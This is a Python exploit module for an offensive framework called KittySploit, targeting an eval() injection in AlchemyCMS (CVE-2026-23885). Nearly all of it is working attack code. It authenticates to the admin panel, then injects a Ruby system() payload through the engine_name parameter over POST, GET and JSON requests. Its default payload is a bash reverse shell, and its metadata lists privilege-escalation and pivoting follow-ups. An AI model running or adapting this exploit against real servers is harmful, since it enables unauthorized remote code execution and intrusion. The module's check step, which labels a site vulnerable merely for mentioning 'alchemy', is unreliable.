AlchemyCMS Authenticated eval() RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login
import urllib.parse
import json


class Module(Exploit, Http_client, Http_login):

    __info__ = {
        "name": "AlchemyCMS Authenticated eval() RCE",
        "description": "Authenticated Remote Code Execution (RCE) via unsafe eval() in resource_url_proxy helper. "
                      "The helper method Alchemy::ResourcesHelper#resource_url_proxy in app/helpers/alchemy/resources_helper.rb "
                      "insecurely processes the engine_name attribute from a resource_handler object, passing it directly "
                      "to Ruby eval() without sanitization (CWE-95: Improper Neutralization of Directives in Dynamically "
                      "Evaluated Code), allowing arbitrary Ruby code and system command execution. "
                      "This vulnerability requires an authenticated user with administrative privileges.",
        "author": "KittySploit Team",
        "cve": ["CVE-2026-23885"],
        "arch": [Arch.X86, Arch.X64],
        "platform": Platform.LINUX,
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "arch": "cmd",
            "platform": ["unix", "linux"],
            "category": "singles",
        },
        "references": [
            "https://github.com/AlchemyCMS/alchemy_cms",
            "https://cwe.mitre.org/data/definitions/95.html",  # CWE-95
        ],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    admin_path = OptString("/admin", "AlchemyCMS admin path", required=False)
    resource_path = OptString("/admin/resources", "Path to resources endpoint", required=False)
    command = OptString("", "Command to execute (if not using payload)", required=False)
    session_cookie = OptString("", "Session cookie for authenticated requests (required for exploitation)", required=False)


    def check(self):
        """
        Check if target is AlchemyCMS and potentially vulnerable
        """
        try:
            admin_path = self.admin_path if self.admin_path else "/admin"
            
            # Check for AlchemyCMS admin interface
            response = self.http_request(method="GET", path=admin_path, allow_redirects=True)
            if response:
                content = response.text.lower()
                # Look for AlchemyCMS indicators
                if 'alchemy' in content or 'alchemycms' in content:
                    # Check if we can access resources endpoint
                    resource_path = self.resource_path if self.resource_path else "/admin/resources"
                    resource_response = self.http_request(method="GET", path=resource_path, allow_redirects=True)
                    if resource_response and resource_response.status_code in [200, 302, 401, 403]:
                        return {
                            'vulnerable': True,
                            'reason': 'AlchemyCMS detected and resources endpoint accessible',
                            'confidence': 'medium'
                        }
                    return {
                        'vulnerable': True,
                        'reason': 'AlchemyCMS detected',
                        'confidence': 'low'
                    }
            
            return {
                'vulnerable': False,
                'reason': 'AlchemyCMS not detected',
                'confidence': 'low'
            }
        except Exception as e:
            return {
                'vulnerable': False,
                'reason': f'Check failed: {str(e)}',
                'confidence': 'low'
            }

    def _authenticate(self):
        """
        Authenticate to AlchemyCMS admin interface if credentials are provided
        Returns True if authenticated, False otherwise
        """
        if not self.username or not self.password:
            if not self.session_cookie:
                print_warning("No authentication credentials provided")
                print_info("This exploit requires administrative authentication")
                print_info("Please provide either:")
                print_info("  - session_cookie option (recommended)")
                print_info("  - username and password options")
                return False
            else:
                # Use provided session cookie
                return True
        
        # Try to authenticate with username/password
        print_status("Attempting to authenticate to AlchemyCMS admin...")
        admin_path = self.admin_path if self.admin_path else "/admin"
        login_path = f"{admin_path}/login"
        
        try:
            # First, get the login page to extract CSRF token if needed
            response = self.http_request(method="GET", path=login_path, allow_redirects=True)
            if not response:
                print_error("Failed to access login page")
                return False
            
            # Try to login
            login_data = {
                'user[email]': self.username,
                'user[password]': self.password,
            }
            
            # Check for CSRF token in the form
            import re
            csrf_match = re.search(r'name=["\']authenticity_token["\']\s+value=["\']([^"\']+)["\']', response.text)
            if csrf_match:
                login_data['authenticity_token'] = csrf_match.group(1)
            
            response = self.http_request(
                method="POST",
                path=login_path,
                data=login_data,
                allow_redirects=True
            )
            
            if response and (response.status_code == 302 or 'admin' in response.url.lower()):
                print_success("Authentication successful")
                # Extract session cookie from response
                if 'Set-Cookie' in response.headers:
                    print_info("Session cookie obtained from authentication")
                return True
            else:
                print_error("Authentication failed")
                return False
        except Exception as e:
            print_error(f"Authentication error: {e}")
            return False

    def run(self):
        """
        Execute the exploit by injecting Ruby code via engine_name parameter
        NOTE: This exploit requires administrative authentication
        """
        try:
            print_status("Attempting AlchemyCMS Authenticated eval() RCE exploit...")
            print_warning("This exploit requires administrative authentication")
            
            # Check authentication
            if not self._authenticate():
                print_error("Authentication required but failed")
                print_info("This vulnerability requires an authenticated admin user")
                return False
            
            # Set session cookie if provided
            if self.session_cookie:
                self.set_cookie('_alchemy_session', self.session_cookie)
                print_info("Using provided session cookie")
            
            # Get payload command (framework automatically generates it via self.payload)
            # If command option is set, use it directly, otherwise use self.payload
            if self.command:
                command = self.command
            else:
                # self.payload is automatically generated by the framework
                if not self.payload:
                    print_error("No payload or command specified")
                    print_info("Please set a payload using 'set payload <path>' or use the command option")
                    return False
                command = str(self.payload)
            
            print_info(f"Executing command: {command}")
            
            # Escape the command for Ruby string
            # Replace single quotes with escaped version
            escaped_command = command.replace("'", "\\'")
            
            # Construct Ruby payload that executes the command and returns 'main_app'
            # The eval() expects a return value, so we execute the command and return 'main_app'
            # Vulnerable method: Alchemy::ResourcesHelper#resource_url_proxy in app/helpers/alchemy/resources_helper.rb
            ruby_payload = f"system('{escaped_command}'); 'main_app'"
            
            print_debug(f"Ruby payload: {ruby_payload}")
            
            # Try multiple exploitation vectors
            exploit_paths = [
                self.resource_path if self.resource_path else "/admin/resources",
                "/admin/resources/new",
                "/admin/resources",
                "/admin/pages",
            ]
            
            for exploit_path in exploit_paths:
                print_info(f"Trying path: {exploit_path}")
                
                # Method 1: Try via POST with engine_name parameter
                # The vulnerable method is Alchemy::ResourcesHelper#resource_url_proxy
                # in app/helpers/alchemy/resources_helper.rb
                payload_data = {
                    'resource_handler[engine_name]': ruby_payload,
                }
                
                # Try POST request with authenticated session
                response = self.http_request(
                    method="POST",
                    path=exploit_path,
                    data=payload_data,
                    allow_redirects=False,
                    timeout=10
                )
                
                if response and response.status_code in [200, 302, 500]:
                    print_success("Payload sent successfully")
                    # Wait a moment for command execution
                    import time
                    time.sleep(1)
                    self.vulnerable()
                    return True
                
                # Method 2: Try via GET with engine_name parameter
                params = {
                    'engine_name': ruby_payload,
                    'resource_handler[engine_name]': ruby_payload,
                }
                
                for param_name, param_value in params.items():
                    query_string = urllib.parse.urlencode({param_name: param_value})
                    full_path = f"{exploit_path}?{query_string}"
                    
                    response = self.http_request(
                        method="GET",
                        path=full_path,
                        allow_redirects=False,
                        timeout=10
                    )
                    
                    if response and response.status_code in [200, 302, 500]:
                        print_success("Payload sent successfully via GET")
                        # Wait a moment for command execution
                        import time
                        time.sleep(1)
                        self.vulnerable()
                        return True
                
                # Method 3: Try via JSON payload (for API endpoints)
                json_payload = {
                    'resource_handler': {
                        'engine_name': ruby_payload
                    }
                }
                
                headers = {
                    'Content-Type': 'application/json',
                    'Accept': 'application/json'
                }
                
                response = self.http_request(
                    method="POST",
                    path=exploit_path,
                    data=json.dumps(json_payload),
                    headers=headers,
                    allow_redirects=False,
                    timeout=10
                )
                
                if response and response.status_code in [200, 302, 500]:
                    print_success("Payload sent successfully via JSON")
                    # Wait a moment for command execution
                    import time
                    time.sleep(1)
                    self.vulnerable()
                    return True
            
            print_error("Exploitation failed - target may not be vulnerable or endpoint not accessible")
            self.not_vulnerable()
            return False
            
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            import traceback
            traceback.print_exc()
            return False